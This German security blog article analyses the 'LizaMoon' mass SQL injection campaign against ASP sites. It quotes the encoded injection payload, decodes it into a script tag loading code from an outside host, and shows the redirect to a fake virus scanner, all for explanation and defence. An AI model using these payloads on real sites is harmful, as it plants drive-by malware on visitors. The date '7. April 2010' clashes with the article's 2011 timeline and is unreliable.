Dipl.-Inform. Carsten Eilers

SQL-Injection-Massenangriffe auf ASP-Seiten scheinen ein Anzeichen für den Frühling zu sein, denn schon seit einigen Jahren gibt es immer wieder im Frühling entsprechende Angriffe. Als würden dann ein paar Cyberkriminelle aus dem Winterschlaf aufwachen oder ihre über den Winter entwickelten Exploits von der Leine lassen. Auch dieses Jahr ist es wieder so weit. Am 29. März wurden von Websense die ersten infizierten Websites beobachtet. Anfangs wurde die Zeile
<script src=http://lizamoon.com/ur.php></script>
in die angegriffenen Seiten eingefügt, nach der der Angriff dann benannt wurde: "LizaMoon".

Grenzenloses Wachstum

Websense hat über Google die Entwicklung des Massen-Hacks verfolgt: Von anfangs 28.00 Fundstellen (29. März) über 226.000 und 380.000 zu 1.500.000 Fundstellen (31. März).

Das Verfolgen geht recht einfach, man muss dazu ja nur nach den eingeschleusten Codezeilen suchen, die sich allerdings im Laufe des Angriffs regelmäßig ändern, da die verwendeten Domains natürlich laufend aus dem Verkehr gezogen werden. Zuletzt hat Websense daher nur noch nach
<script src=http://*/ur.php></script>
gesucht.

Allerdings werden immer auch etliche "False Positives" gefunden, z.B. Seiten, auf denen der Code zwar enthalten, aber nicht ausführbar ist. Das passiert z.B. durch eine Umkodierung der <- und >-Zeichen in ihre HTML-Entities < und > oder weil der Code an einer völlig falschen Stelle steht, an der das script-Tag nicht ausgewertet wird.

Zur Zeit (7. April 2010, 11 Uhr) gibt es übrigens ca. 1.940.000 Fundstellen, darunter aber wohl auch sehr viele Berichte über den Angriff und die Fundstellen. Und gerade eben ist wieder eine dazu gekommen - diese Seite hier. Ups...

(K)ein neuer Angriff

Websense konnte die ersten Angriffe inzwischen bis in den Dezember 2010 zurückverfolgen, Trend Micro berichtet von entsprechenden Angriffen mit anderen Zieldomains ab dem 25. März. Laut Cisco läuft der Angriff bereits seit dem 20. September 2010, dabei wurden bisher 42 Domains als Weiterleitungsziel verwendet - lizamoon.com ist die 41. davon. Der Angriff scheint also langsam angefangen zu haben (jedenfalls ist es nicht weiter aufgefallen), um nun einen Zwischen- oder Endspurt einzulegen.

Mikko H. Hypponen von F-Secure hat LizaMoon-URLs auf Twitter gefunden, und im GFI LABS Blog wurden Fundstellen in kodierten ViewState-Feldern gemeldet. Da die Cyberkriminellen bei ihren SQL-Injection-Angriffen quasi mit einer Schrotflinte schießen, landet der Schadcode in allen möglichen Datenbankfeldern, und die werden natürlich nicht nur auf Webseiten ausgegeben, sondern auch anderweitig verwendet, z.B. eben beim Tweeten, in ViewState-Feldern oder indem sie als RSS/XML-Feed an Apple gemeldet werden. Dadurch landet der Schadcode natürlich auch an Stellen, an denen man ihn eigentlich nicht vermutet hätte.

Der SQL-Injection-Code

Websense hat als Beispiel den folgenden SQL-Injection-Code veröffentlicht:

+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--

Ähnlicher Code wurde von Trend Micro veröffentlicht. Dekodiert man die char()-Aufrufe, die ASCII-Werte in Zeichen umwandeln, erhält man
</title><script src=http://google-stats50.info/ur.php></script>
und damit

update Table 
set FieldName = 
REPLACE( cast(FieldName as varchar(8000) ),
         cast(</title><script src=http://google-stats50.info/ur.php></script> as varchar(8000) ),
         cast( as varchar(8) )
       )--

cast() dient der Umwandlung von Datentypen, varchar() sind Zeichenketten variabler Länge, und REPLACE ersetzt Zeichenkette.

Allerdings scheinen die Parameter im REPLACE-Aufruf vertauscht zu sein: Die erste Zeichenkette (in diesem Fall also FieldName) wird nach der zweiten (dem einzuschleusenden Code) durchsucht und dieser durch ein Leerzeichen oder NULL ersetzt. So bekommt man den Schadcode aus dem String raus, aber nicht rein. Um ihn rein zu bekommen, müssten zweiter und dritter Parameter vertauscht werden, so dass die gefundenen Zeichen durch den Schadcode ersetzt werden.

Außerdem gibt es in Zusammenhang mit diesem Code eine weitere Auffälligkeit: Bereits am 24. September 2010 wurde auf Stack Overflow gefragt, was es damit auf sich hat. Evtl. handelt es sich also um eine Testversion des jetzt verwendeten Codes, denn jetzt wird der Schadcode ja eindeutig in die Websites eingeschleust.

Websense berichtet über Angriffe auf Microsoft SQL Server 2000, 2005 und 2008. Wie üblich, werden aber keine Schwachstelle im SQL-Server selbst, sondern in den betroffenen Webanwendungen ausgenutzt. Die enthalten schlicht und ergreifend SQL-Injection-Schwachstellen. Warum die Massenhacks immer wieder ASP-Seiten treffen und nicht z.B. PHP/MySQL, ist nicht bekannt.

Nachdem der Schadcode über die SQL-Injection in der Datenbank gespeichert wurde, ist die "Arbeit" für die Cyberkriminellen erledigt. Jetzt müssen sie nur noch darauf warten, dass die manipulierten Datenbankeinträge von der Webanwendung in der Ausgabe verwendet werden. Und dabei hoffen, dass sie dabei ausführbar bleiben.

Der Drive-by-Code

Der eingeschleuste Schadcode ist relativ simpel, er sieht z.B. so aus:

document.location = 'http://[Domain der Cyberkriminellen]/scan1b/237?sessionID=0500...';

Der Benutzer wird auf eine bösartige Webseite weitergeleitet, auf der ihm dann ein Fake-Virenscanner untergeschoben werden soll. Der nennt sich Windows Stability Center und findet jede Menge Bedrohungen. Die natürlich alle nicht existieren. Was passiert, wenn ein Benutzer auf so eine präparierte Seite gelangt, hat Websense in einem Video zusammengefasst.

Dancho Danchev hat die URLs zurückverfolgt und eine schöne Übersicht erstellt. Das Ergebnis: Die Domains, die den Fake-Virenscanner letztendlich verbreiten, lassen sich zu wenigen Servern zurückverfolgen. Die Domains wurden mit automatisch erstellten Google-Mail-Accounts registriert, um die Erkennung der Domains an einer einheitlichen E-Mail-Adresse zu verhindern.

Viel Rauch, wenig Feuer

Insgesamt scheint der aktuelle Massenangriff ziemlich harmlos ausgegangen zu sein: Da die von den Cyberkriminellen verwendeten Domains zügig aus dem Verkehr gezogen wurden oder gar nicht erst aktiv waren, der eingeschleuste Weiterleitungscode nicht sehr effektiv ist und keine sehr populären Websites mit entsprechend vielen Besuchern mit dem Schadcode infiziert wurden, ist die Zahl der Opfer relativ gering. Jedenfalls deutlich geringer, als man auf Grund der Fundstellen bei Google befürchten konnte. Laut Cisco wurden im Zeitraum vom 20. September 2010 bis zum 31. März 2011 auch lediglich 1154 Websites infiziert.

Fazit

LizaMoon ist nicht wirklich so gefährlich, wie es anfangs schien. Falls Sie eine ASP.NET-Webanwendung betreiben, sollten Sie aber sicherheitshalber alle SQL-Abfragen absichern. PHP lockt zwar mehr Skriptkiddies an als ASP, dafür bekommt Ihre ASP.NET-Anwendung es gleich mit den richtig bösen Buben zu tun.

Und im Endeffekt ist eine unsichtbare Infektion mit Schadcode, der Ihre Besucher ins Verderben lockt, deutlich schlimmer als ein auf den ersten Blick erkennbares, peinliches Defacement. Denn das betrifft nur Sie, und Ihre Besucher lachen darüber - werden aber deren Rechner wegen Ihres Fehlers mit einem Fake-Virenscanner infiziert, werden Sie kaum darüber lachen können.

In der nächsten Folge geht es, wie bereits angekündigt, um Rootkits.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall

Drive-by-Infektionen durch SQL-Injection vorbereitet

Drive-by-Infektionen: So kommt der Schadcode auf den Server

Drive-by-Infektionen - Vom Server auf den Client

Drive-by-Infektionen - Ein Blick auf die Exploits

Drive-by-Infektionen erkennen und abwehren

LizaMoon - Massenhack mit minimalen Folgen

Aktuelles: LizaMoon auf Apples iTunes-Seiten

Drive-by-Infektionen über präparierte Werbung